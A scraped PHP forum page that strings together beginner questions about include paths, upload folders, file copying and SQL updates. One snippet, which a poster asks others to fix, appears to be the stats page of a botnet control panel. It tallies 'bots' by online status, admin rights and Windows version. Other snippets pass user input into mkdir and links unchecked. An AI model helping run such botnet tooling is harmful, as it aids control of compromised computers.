PHP - Correct Way To Write Path For A Folder
I am using some free code on my website to upload images but having difficulty changing the settings.
$destination_folder = './uploads/';The above file is in /public_html/page/ and saves the pictures to /public_html/page/uploads/ How can I change the destination folder to /public_html/pictures/ I have tried a few obvious things such as '../pictures/' Any ideas? Thanks, Similar TutorialsI need to assign my current folder path to a variable. I keep getting this:- Quote/var/www/html/LifeSaverHTML/Details/20 What I want is this:- Quote/LifeSaverHTML/Details/20 That full path does weird stuff. Sometimes when I'm editing files, it's like I'm editing a ghost copy but not the actual file... Weird anyways. Below is some of the attempts I've tried... If I use this command:- //$uri = $_SERVER['REQUEST_URI']; It will give me what I need but with index.php tacked onto the end:- Quote/LifeSaverHTML/Details/20/index.php <?php //$pa = $_SERVER['PATH_TRANSLATED']; //echo $pa; //$uri = string dirname ( $path ); //echo $uri; //$ echo $PWD // current directory // current directory //echo getcwd() . "\n"; //chdir('cvs'); // current directory //echo getcwd() . "\n"; //$pa = basename(__DIR__); //echo $pa; //$pa = dirname(__FILE__); //echo $pa; $cur_dir = explode('\\', getcwd()); echo $cur_dir[count($cur_dir)-1]; ?> This first one returns a blank page without error, there's one that will return just the directory most are the www stuff. I suppose I could edit the string but surely there must be a function? I have this connection file "database_connection.php" under folder C:\wamp\www\php\database\database_connection.php and I'm calling it using required_once on file "add_database.php" under folder C:\wamp\www\php\database\ManipulatingDatabase\add_database.php Here's the code on Code: [Select] <?php include_once('../database/database_connection.php'); ?> and I'm having this error Quote Warning: include_once(../database/database_connection.php) [function.include-once]: failed to open stream: No such file or directory in C:\wamp\www\php\database\ManipulatingDatabase\add_database.php on line 3 Warning: include_once() [function.include]: Failed opening './database/database_connection.php' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\php\database\ManipulatingDatabase\add_database.php on line 3 I have tried everything else. Maybe there's something wrong on my .ini file?Anyone? I was wondering of it was possible to have a file say style.css in the root folder of a site like www.example.com/style.css and then get a subdomain called www.sub.example.com which points to www.example.com/subarea to get that file without the use of absolute paths? Sorry if its not clear. I am unsuccessfully able to do the following:
User creates an account
After login, checks server if user has their own folder created
If doesn't exist, create it
Copy files from source_code to this new folder
My code does create a folder, but no files appear inside it.
Been trying to find an example with google search for the past 3 days with no luck.
I am running LAMP on Linux Mint OS to run my PHP webpages.
Can anyone tell me if issues with this section of coding?
<?php function wait_time($seconds) { $seconds = abs($seconds); if ($seconds < 1): usleep($seconds*1000000); else: sleep($seconds); endif; } $file1 = "blank.html"; $file2 = "channel_video.php"; $file3 = "clear_playlist.php"; $file4 = "confirm.html"; $file5 = "index.html"; set_time_limit(0); //prevent script from timing out $account = $_POST["account_name"]; $src = "source_code/"; $dst = $account."/"; echo 'Setting up your account page ->.'; mkdir($account, 0777, true); echo '.'; //create folder with full write permissions wait_time(2000); //wait 2 seconds before copying files over copy($src.$file1, $dst.$file1); echo '.'; wait_time(2000); //wait 2 seconds before copying files over copy($src.$file2, $dst.$file2); echo '.'; wait_time(2000); //wait 2 seconds before copying files over copy($src.$file3, $dst.$file3); echo '.'; wait_time(2000); //wait 2 seconds before copying files over copy($src.$file4, $dst.$file4); echo '.'; wait_time(2000); //wait 2 seconds before copying files over copy($src.$file5, $dst.$file5); echo '.<- setup finished<br>'; ?>Thanks for any input you can provide. Hi! So I'm working for someone, and they want me to fix this error in a PHP file.. Here is the code: <?php include_once('config.php'); $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'"); $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'"); $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'"); $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'"); $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'"); $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'"); $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'"); $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'"); $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'"); $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'"); $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots")); $onlinecount = 0; $offlinecount = 0; $deadcount = 0; $admintruecount = 0; $adminfalsecount = 0; $windows8count = 0; $windows7count = 0; $windowsvistacount = 0; $windowsxpcount = 0; $unknowncount = 0; while($row = mysql_fetch_array($online)){ $onlinecount++; } while($row = mysql_fetch_array($offline)){ $offlinecount++; } while($row = mysql_fetch_array($dead)){ $deadcount++; } while($row = mysql_fetch_array($admintrue)){ $admintruecount++; } while($row = mysql_fetch_array($adminfalse)){ $adminfalsecount++; } while($row = mysql_fetch_array($windows8)){ $windows8count++; } while($row = mysql_fetch_array($windows7)){ $windows7count++; } while($row = mysql_fetch_array($windowsvista)){ $windowsvistacount++; } while($row = mysql_fetch_array($windowsxp)){ $windowsxpcount++; } while($row = mysql_fetch_array($unknown)){ $unknowncount++; } $statustotal = $onlinecount + $offlinecount + $deadcount; $admintotal = $admintruecount + $adminfalsecount; $sototal = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount; ?> Can anyone tell me the error here, can how to fix it? When having different levels of directories, using relative paths will not work anymore, for example: controller - authentication File 1: include('../../model/header.php') model File 2: header.php view File 3. style.css The header.php file includes the css file with a relative path, but the problem is it includes it as follows: ../view/style.css When now the header.php file gets included into File 1 in the folder "authentication", then the css file will not be accessible anymore, for it to be accessible you would have to go two directories up. In this sense my question is, what would be the proper path structure for a folder structure with multiple levels? Should I rather use absolute paths, I am not so prone of absolute path. What if the folders changes a bit, or the domain changes, or the location changes? I got this script: But it give me error, file_get_contents cannot open stream. I need to add the FTP connection with user/pass paramaters. then look in set http url, to get the file contents(images) and transfer to ftp server location. Can Anyone take alook and tell me if I am going down the right path and how to get there. Please Code: [Select] function postToHost($host, $port, $path, $postdata = array(), $filedata = array()) { $data = ""; $boundary = "---------------------".substr(md5(rand(0,32000)),0,10); $fp = fsockopen($host, $port); fputs($fp, "POST $path HTTP/1.0\n"); fputs($fp, "Host: $host\n"); fputs($fp, "Content-type: multipart/form-data; boundary=".$boundary."\n"); // Ab dieser Stelle sammeln wir erstmal alle Daten in einem String // Sammeln der POST Daten foreach($postdata as $key => $val){ $data .= "--$boundary\n"; $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n"; } // Sammeln der FILE Daten if($filedata) { $data .= "--$boundary\n"; $data .= "Content-Disposition: form-data; name=\"".$filedata['name']."\"; filename=\"".$filedata['name']."\"\n"; $data .= "Content-Type: ".$filedata['type']."\n"; $data .= "Content-Transfer-Encoding: binary\n\n"; $data .= $filedata['data']."\n"; $data .= "--$boundary--\n"; } // Senden aller Informationen fputs($fp, "Content-length: ".strlen($data)."\n\n"); fputs($fp, $data); // Auslesen der Antwort while(!feof($fp)) { $res .= fread($fp, 1); } fclose($fp); return $res; } $postdata = array('var1'=>'today', 'var2'=>'yesterday'); $filedata = array( 'type' => 'image/png', 'data' => file_get_contents('http://xxx/tdr-images/images/mapping/dynamic/deals/spot_map') ); echo '<pre>'.postToHost ("localhost", 80, "/test3.php", $postdata, $filedata).'</pre>'; It's pretty simple to see what I am trying to do here. For some reason all results in the table are the same exact cityName replacing all existing records. The echoed results are correct. I've include a small dump of my table as well. $query = "SELECT cityName FROM sys_city_dev_2"; $resource = mysqli_query($cxn, $query) or die("MySQL error: " . mysqli_error($cxn) . "<hr>\nQuery: $query"); while($result = mysqli_fetch_assoc($resource)) { $nox = $result['cityName']; $toUpper = ucfirst($nox); echo "$toUpper" . "<br />"; $setString = "UPDATE sys_city_dev_2 SET cityName = '" . $toUpper ."' WHERE cityName != ''"; mysqli_query($cxn,$setString); } 100 Records of table dump (pre running my script above): -- -- Table structure for table `sys_city_dev_2_backup` -- CREATE TABLE IF NOT EXISTS `sys_city_dev_2_backup` ( `ID` int(11) NOT NULL AUTO_INCREMENT, `Mid` int(11) NOT NULL DEFAULT '0', `cityName` varchar(30) NOT NULL DEFAULT '', `forder` int(4) NOT NULL DEFAULT '0', `disdplay` int(4) NOT NULL DEFAULT '0', `cid` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`ID`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=113970 ; -- -- Dumping data for table `sys_city_dev_2_backup` -- INSERT INTO `sys_city_dev_2_backup` (`ID`, `Mid`, `cityName`, `forder`, `disdplay`, `cid`) VALUES (84010, 1, 'dothan', 0, 0, 0), (84011, 1, 'alabaster', 0, 0, 0), (84012, 1, 'birmingham', 0, 0, 0), (84013, 2, 'flagstaff', 0, 0, 0), (84014, 1, 'auburn', 0, 0, 0), (84015, 1, 'florence', 0, 0, 0), (84016, 1, 'gadsden', 0, 0, 0), (84017, 1, 'huntsville', 0, 0, 0), (84018, 1, 'mobile', 0, 0, 0), (84019, 1, 'montgomery', 0, 0, 0), (84020, 1, 'tuscaloosa', 0, 0, 0), (84021, 2, 'mohave valley', 0, 0, 0), (84022, 2, 'phoenix', 0, 0, 0), (84023, 2, 'prescott', 0, 0, 0), (84024, 2, 'sierra vista', 0, 0, 0), (84025, 2, 'tucson', 0, 0, 0), (84026, 2, 'yuma', 0, 0, 0), (84027, 3, 'bakersfield', 0, 0, 0), (84028, 3, 'chico', 0, 0, 0), (84029, 3, 'fresno / madera', 0, 0, 0), (84030, 3, 'gold country', 0, 0, 0), (84031, 3, 'humboldt county', 0, 0, 0), (84032, 3, 'imperial', 0, 0, 0), (84033, 3, 'inland empire', 0, 0, 0), (84034, 3, 'los angeles', 0, 0, 0), (84035, 3, 'alhambra', 0, 0, 0), (84036, 3, 'merced', 0, 0, 0), (84037, 49, 'fayetteville', 0, 0, 0), (84038, 49, 'fort smith', 0, 0, 0), (84039, 49, 'jonesboro', 0, 0, 0), (84040, 49, 'little rock', 0, 0, 0), (84041, 49, 'arkadelphia', 0, 0, 0), (84042, 49, 'texarkana', 0, 0, 0), (84043, 3, 'modesto', 0, 0, 0), (84044, 3, 'alta sierra', 0, 0, 0), (84045, 3, 'alpine', 0, 0, 0), (84046, 3, 'pedley', 0, 0, 0), (84047, 3, 'redding', 0, 0, 0), (84048, 3, 'alondra park', 0, 0, 0), (84049, 3, 'sacramento', 0, 0, 0), (84050, 4, 'canon city', 0, 0, 0), (84051, 3, 'san luis obispo', 0, 0, 0), (84052, 3, 'santa barbara', 0, 0, 0), (84053, 3, 'stockton', 0, 0, 0), (84054, 3, 'aliso viejo', 0, 0, 0), (84055, 3, 'visalia', 0, 0, 0), (84056, 3, 'yuba city', 0, 0, 0), (84057, 4, 'boulder', 0, 0, 0), (84058, 4, 'colorado springs', 0, 0, 0), (84059, 4, 'denver', 0, 0, 0), (84060, 4, 'applewood', 0, 0, 0), (84061, 4, 'pueblo', 0, 0, 0), (84062, 4, 'air force academy', 0, 0, 0), (84063, 5, 'avon', 0, 0, 0), (84064, 5, 'hartford', 0, 0, 0), (84065, 5, 'new haven', 0, 0, 0), (84066, 5, 'ansonia', 0, 0, 0), (84067, 5, 'fairfield', 0, 0, 0), (84068, 7, 'daytona beach', 0, 0, 0), (84069, 7, 'sebastian', 0, 0, 0), (84070, 5, 'wallingford center', 0, 0, 0), (84071, 8, 'belvedere park', 0, 0, 0), (84072, 7, 'sarasota springs', 0, 0, 0), (84073, 7, 'sandalfoot cove', 0, 0, 0), (84074, 7, 'san carlos park', 0, 0, 0), (84075, 7, 'st. augustine', 0, 0, 0), (84076, 7, 'tallahassee', 0, 0, 0), (84077, 7, 'safety harbor', 0, 0, 0), (84078, 7, 'ruskin', 0, 0, 0), (84079, 8, 'athens-clarke county', 0, 0, 0), (84080, 8, 'atlanta', 0, 0, 0), (84081, 8, 'augusta-richmond county', 0, 0, 0), (84082, 8, 'brunswick', 0, 0, 0), (84083, 8, 'columbus', 0, 0, 0), (84084, 8, 'americus', 0, 0, 0), (84085, 8, 'acworth', 0, 0, 0), (84086, 8, 'valdosta', 0, 0, 0), (84087, 10, 'boise', 0, 0, 0), (84088, 10, 'ammon', 0, 0, 0), (84089, 10, 'moscow', 0, 0, 0), (84090, 10, 'blackfoot', 0, 0, 0), (84091, 10, 'twin falls', 0, 0, 0), (84092, 10, 'meridian', 0, 0, 0), (84093, 10, 'jerome', 0, 0, 0), (84094, 10, 'idaho falls', 0, 0, 0), (84095, 11, 'addison', 0, 0, 0), (84096, 10, 'garden city', 0, 0, 0), (84097, 10, 'eagle', 0, 0, 0), (84098, 10, 'chubbuck', 0, 0, 0), (84099, 10, 'caldwell', 0, 0, 0), (84100, 12, 'bloomington', 0, 0, 0), (84101, 12, 'evansville', 0, 0, 0), (84102, 12, 'fort wayne', 0, 0, 0), (84103, 12, 'indianapolis', 0, 0, 0), (84104, 12, 'muncie / anderson', 0, 0, 0), (84105, 12, 'lafayette / west lafayette', 0, 0, 0), (84106, 12, 'south bend / michiana', 0, 0, 0), (84107, 12, 'terre haute', 0, 0, 0), (84108, 12, 'northwest indiana', 0, 0, 0), (84109, 13, 'ames', 0, 0, 0); I want to copy everything in templates/blue to the folder code/ However: shell_exec("cp -r 'templates/blue' 'code'"); Creates a folder called blue inside code. I tried cp -r 'templates/blue/*' 'code', but that didn't do anything. Any ideas? Hi guys, Happy New Year http://www.phpfreaks.com/forums/php-coding-help/?action=post How can i get the path http://www.phpfreaks.com/forums thanks, Hi, I have a dynamic variable like this: /def/g/qaz/pol/cxz/cba/abc I only wish to keep this: /def/g/qaz/pol/cxz How would I do this? Thanks, - mme In NetBeans - in what I think is the Web Root - I have... config.inc.php secure/checkout.php In "checkout.php", when I use this code it works... Code: [Select] <?php require_once "../config.inc.php"; ?> but when I try to use an Absolute Path, it errors out... Code: [Select] <?php require_once "/config.inc.php"; ?> I thought "/" moved you up to the Web Root and then you drill down from there? So the second example should also work in my mind?! What is wrong? Debbie hey guys im still having a issue with using the root path when requiring external files. So i can use one path and never have to worry about this issue. require("/functions/function_battle.php"); the file is located here Code: [Select] C:\Software\XAMPP\xampp\htdocs\System_Lords\functions\function_battle.php i dont understand (include_path='.;C:\Software\XAMPP\xampp\php\PEAR') im suppose to be including the php folder or something? Code: [Select] Fatal error: require() [function.require]: Failed opening required '/functions/function_battle.php' (include_path='.;C:\Software\XAMPP\xampp\php\PEAR') in C:\Software\XAMPP\xampp\htdocs\System_Lords\include\battle.php on line 2 Hello, I would like to know how to include a root file in a 4 deep folder using dots. Is it good : include "../../../config.php" or i can simple include "./config.php" ? How does this works? Is it better to write all the path? Thank you It's the simple things that frustrate me sometimes. My project has a one root folder. Under that are three separate folders (admin, img, and inc). "admin" contains admin pages, "img" contains images, and "inc" contains utility files to be included and used by other scripts. I'll just take one specific problem as an example. In my inc folder is a file called "send_email.php". It needs to include another file called "class.phpmailer.php" in the same directory (inc). Now, since these files are never called directly but included by scripts in the rest of the project, I cannot simply do "require('class.phpmailer.php')". I have a file in the base project directory called validation.php. It needs to include inc/send_email.php to use its functions to, obviously, send email. Now, that part is no problem. I just require('inc/send_email.php') since that is a valid path from validation.php. My problem comes when send_email.php tries to include class.phpmailer.php. As I said before, I cannot just directly include it without any path since it's not being called directly. It "inherits" the path of the file that called it so just a direct require to it. My "solution" was to add a config value called "path" to my config file in the root directory. It would ideally hold the path from the server root to my project folder. In my case I set it to "/danny/smswebalerts/" which is indeed the correct path from my web root. I use $config['path'] to link to my images and CSS files and it works correctly. I thought it would solve my problem when I did the following in send_email.php: require_once($config['path'] . 'inc/class.phpmailer.php'); That indeed correctly builds the full path to that file: /danny/smswebalerts/inc/class.phpmailer.php. When I open up a page that includes send_email, however, I get the following error: Code: [Select] Warning: require_once(/danny/smswebalerts/inc/class.phpmailer.php) [function.require-once]: failed to open stream: No such file or directory in /home/danny/workspace/smswebalerts/inc/send_email.php on line 20 I would appreciate if somebody could give me some nice solution before I just say "screw it" to organization and plop everything in the same directory. It's really frustrating that my project is being held up by some technicality like this. I have the folder structure like:
root
application
system
assets
uploads
folder assets contains all css, img, and js.
uploads contains user uploaded file.
I set a "helper/assets_helper.php" file to define:
define ('ASSETS_PATH', base_url().'assets/'); define ('UPLOAD_URL', base_url().'uploads/');For all the css, img, and js, it works well like href="<?php echo ASSETS_PATH; ?>css/mycss.css"But when I display the uploaded images, it couldn't display image with <a href="<?php echo UPLOAD_URL;?>images/myupload01.jpg" ><img src="<?php echo UPLOAD_URL;?>images/myupload01.jpg" /></a>This uploaded image actually works fine with my localhost with the link like: http://localhost:900.../myupload01.jpg. But it couldn't display on my hosting server with like: http://users.mywebsi.../myupload01.jpg Can anyone shed some light on it. Thanks! Edited by TFT2012, 20 October 2014 - 10:43 AM. Hey guys! I just joined this forum today, and I'm wondering about something... I see a lot of sites, and in the code of the site, style sheets and javascript includes are references in a manner similar to this... "href='http://www.somesite.com/css/css.php/someDirectory/style.css'" How is this done? The path following the "css.php" is what confuses me. Thanks for any information you have! Directory structu /home/~test/public_html/soap/ .../xml/ .../bin/ .../products/browser/ In file /home/~test/public_html/soap/bin/products/browser/test.php, I include another file and call it's function: Code: [Select] require("../../xml/processXML.php"); $xmlData = generateXML(....); In the /home/~test/public_html/soap/xml/processXML.php, I have the following code: Code: [Select] function generateXML() { exec("../bin/code.cur"); } The problem is the exec("../bin/code.cur") fails of the relative path issue. I did a getcwd() before the exec() and it returned /home/~test/public_html/soap/bin/products/browser. I have tried using dirname() and no help. I hope this is clear enought to understand where I am coming from. Thank you. AM Can I use this path? I didn't know if I could pull in images into a subdomain from another domain ../mysite.com/assets/img/avatars/defaultuser.jpg my problem is when i click on hyperlink it start copying it self insertrow=yes in address bar how to tackle this Code: [Select] $httpquery = "{$_SERVER['PHP_SELF']}?{$_SERVER['QUERY_STRING']}&insertrow=yes" ; <a href='{$httpquery}' >New</a> <br> if (isset($_GET['insertrow'])) { echo "<br> {$_GET['insertrow']} "; } |